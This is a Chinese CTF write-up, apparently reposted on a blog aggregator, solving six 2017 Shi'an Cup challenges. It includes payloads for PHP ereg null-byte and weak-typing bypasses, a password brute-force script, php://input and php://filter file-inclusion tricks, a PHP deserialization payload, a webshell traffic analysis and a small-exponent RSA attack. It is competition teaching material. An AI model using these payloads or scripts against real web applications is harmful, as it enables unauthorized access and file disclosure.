美文网首页
【Writeup】2017.10.8 世安杯(部分)

【Writeup】2017.10.8 世安杯(部分)

作者: Pino_HD | 来源:发表于2017-11-02 17:40 被阅读0次

0x01 ctf入门级题目

这道题是个代码审计题,给了php的代码

<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>

<section class="login">
        <div class="title">
                <a href="./index.phps">View Source</a>
        </div>

        <form method="POST">
                <input type="text" required name="password" placeholder="Password" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

这里要求password是字母或者数字,但是后面strpos要求password中要有“--”符号,注意这里的正则匹配用到了ereg函数,该函数存在%00截断的漏洞,就是它只会匹配%00之前的,当遇到%00时,后面的东西就不会看了,但是strpos()函数并不会这样,因此可以用%00进行绕过。
payload:

?password=a%00--

得到flag

这里还有第二种解法,当ereg()函数只能处理字符串,当参数是数组的时候,会返回NULL,而这道题中是!==,类型和内容需要都不一样才可以,NULL与FALSE的类型不是相同的,因此也可以进行绕过
payload2:

?password[]=a

0x02 类型

这道题还是一个代码审计的题,源码如下:

<?php 
show_source(__FILE__); 
$a=0; 
$b=0; 
$c=0; 
$d=0; 
if (isset($_GET['x1'])) 
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
} 
$x2=(array)json_decode(@$_GET['x2']); 
if(is_array($x2)){ 
    is_numeric(@$x2["x21"])?die("ha?"):NULL; 
    if(@$x2["x21"]){ 
        ($x2["x21"]>2017)?$b=1:NULL; 
    } 
    if(is_array(@$x2["x22"])){ 
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 
        $p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 
        $c=1; 
} 
} 
$x3 = $_GET['x3']; 
if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 
if($a && $b && $c && $d){ 
    include "flag.php"; 
    echo $flag; 
} 
?>

这题是一个很经典的php若比较问题的ctf题了。
首先,x1要等于0,因为在$x1=="1"?die("ha?"):NULL; 中,需要让x1不能等于"1"的,php中,双等号比较整数与字符串时,会先将字符串直到没有字符之前的那部分的转换为整数,而后面switch判断中,等于0和1都可以继续,因此x1=0.
再看x2,这里有一个json_decode函数,那么x2就得是一个json格式的字符串了。is_numeric()函数接收整数和整数字符串,这里is_numeric(@$x2["x21"])?die("ha?"):NULL; 因此不能是整数或整数字符串,并且x21还要大于2017,因此用2018a来进行绕过。
if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?");对于这个判断,我们需要构造的是一个数组,数组里有两个元素,并且第一个元素也得是数组;之后

$p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 

这里遍历x22这个数组,要求不能元素是有"XIPU"这个字样,但是还必须要在数组中能够找到。这里array_search()函数是存在弱类型比较的问题的,因此将第二个元素设置为0,在于"XIPU"字符串比较的时候,0=="XIPU"是成立的。最后

if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 

这里写一个脚本跑一下

import hashlib
for i in xrange(1000000):
    s = 'XIPU' + str(i)
    mymd5 = hashlib.md5()
    mymd5.update(s)
    mymd5 = mymd5.hexdigest()
    x3 = 1
    if mymd5[8:10] == '0e':
        for j in mymd5[10:24]:
            if j.isalpha():
                x3 = 0
                break
        if x3== 1:
            print s
            break

最后payload:

?x1=0&x2={"x21":"2018asd","x22":[[0],0]}&x3=XIPU18570

0x03 登陆

首先题目描述说有提示,右键查看源代码,滑轮往下,看到提示

<!-- 听说密码是一个五位数字 -->

并且,已经告知admin为用户名,那么就想到是爆破无疑了,写一个脚本:

#-*- coding:utf-8 -*-
import requests
import re

s = requests.Session()
dic = "0123456789"
url="http://ctf1.shiyanbar.com/shian-s/"
header = {'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36"}
Cookie = {"Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3":"1500552075,1500882902","Hm_cv_34d6f7353ab0915a4c582e4516dffbc3":"1*visitor*87436%2CnickName%3AHDL_","PHPSESSID":"8nb06b20pn2gjl6ssujb1q0u04"}

for a in dic:
    for b in dic:
        for c in dic:
            for d in dic:
                for e in dic:
                    html =s.get(url,headers=header, cookies=Cookie).content
                    pattern = re.compile('<input name="randcode" type="text"><br><br>(.*?)<br><br>.*?<input type="submit"', re.S)
                    code = re.findall(pattern, html)[0]
                    passwd = a+b+c+d+e
                    url1 = url + "index.php?username=admin&password="+passwd+"&randcode="+code
                    print url1
                    req = s.get(url1,headers=header, cookies=Cookie)
                    if len(req.content) != 156:
                        print passwd
                        break
                    

得到password,登陆后得到flag

0x04 admin

登陆后发现显示“you are not admin”,右键查看源代码,发现了源码

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}

这里如果直接输入?user=the user is admin是不对的,应该是空格编码了得问题吧。。。我猜的。但是这里有file_get_contents()函数,它是可以用php伪协议的,我们就可以用php://input直接将那个字符串post过去,payload为

?user=php://input
post:the user is admin

成功绕过第一步。
接下来由于一个include()函数,想到会不会存在文件包含漏洞呢,试了一下php://filter/read=convert.base64-encode/resource=class.php,得到了class.php的源代码

<?php
class Read{
//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            return "__toString was called!";
        }
?>

一看就知道是php反序列化了,构造序列化字符串O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";},最后payload:

?user=php://input&filelass.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}
post:the user is admin

得到flag的base64,解一下得到flag

0x05 心仪的公司

题目描述:小黑在拿到webshell后,马上就获得了自己心仪公司的照片

这道题是一个流量包分析的题,首先看一下题目描述,就知道了得到flag应该是得先定位webnshell的位置
首先在在导出对象中选择导出HTTP选项,发现了一个名叫conf1g.php的文件非常可疑,搜索了一下conf1g.php,并跟踪tcp流,发现黑客在爆破登陆密码,爆破出来了密码youxiu,登陆后台,进行了一些列操作之后,继续跟踪流,在最后发现webshell.jpg中有flag。
这么一看,其实可以在最开始导出HTTP对象的时候,将最后一个application/x-jpg类型的文件导出来,然后winhex查看就也能得到flag了。

0x06 RSA

给出了密文c和n

c= 2044619806634581710230401748541393297937319 
n= 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143

import libnum
for e in range(2,10):
    m = libnum.nroot(c,e)
    if m**e==c:
        break

print "e:",e
print "m:",m
flag = libnum.n2s(m)
print flag

解出来明文so_low

相关文章

  • 【Writeup】2017.10.8 世安杯(部分)

    0x01 ctf入门级题目 这道题是个代码审计题,给了php的代码 这里要求password是字母或者数字,但是后...

  • 第一届安洵杯writeup

    安洵官方writeup安洵writeup第一届安洵杯writeup MISC 幺元 booom 爆破 查看pass...

  • [2017世安杯] 决赛Writeup

    今天折磨了一天感冒和头痛的身躯。。。。写完倒头就睡。。。。 今天决赛分为: 上午的综合渗透(个人更觉得是CTF)因...

  • [2017世安杯] 初赛Web Writeup

    Web: ctf入门级题目 view_source有源码,如下 根据源码,ereg可被%00截断,直接上paylo...

  • [第四届世安杯](web)writeup

    ctf入门级题目 利用ereg和strops处理数组的漏洞,提交?password[]=1 flag{Maybe_...

  • 2019 掘安杯 WriteUp

    Web Web签到 访问flag.php可以看到有个302跳转,flag就在请求头里。 猜密码 打开F12获得源码...

  • [鹏城杯线上] web部分writeup

    [鹏城杯] web部分writeup 这次鹏城杯是真的对web不友好。 shadow 这题出的还是挺好的58.20...

  • [强网杯](web)部分writeup

    web签到 这道题在一航sniperoj上写到过,当时就觉得题目挺赞的。解法用到了王小云的md5碰撞的测试样本。具...

  • [网鼎杯] 第二场web writeup

    网鼎杯 第二场 web writeup 向信安之路的老哥要了一个账号,赛后开始做题 web calc wafUpl...

  • [happyctf]部分writeup

    题目名称:sqltest所属:MISC考察点:盲注 眼力 耐心(好吧是废话) 附件下载下来 ,到手一个流量包,用w...

网友评论

      本文标题:【Writeup】2017.10.8 世安杯(部分)

      本文链接:https://www.haomeiwen.com/subject/lhfyyxtx.html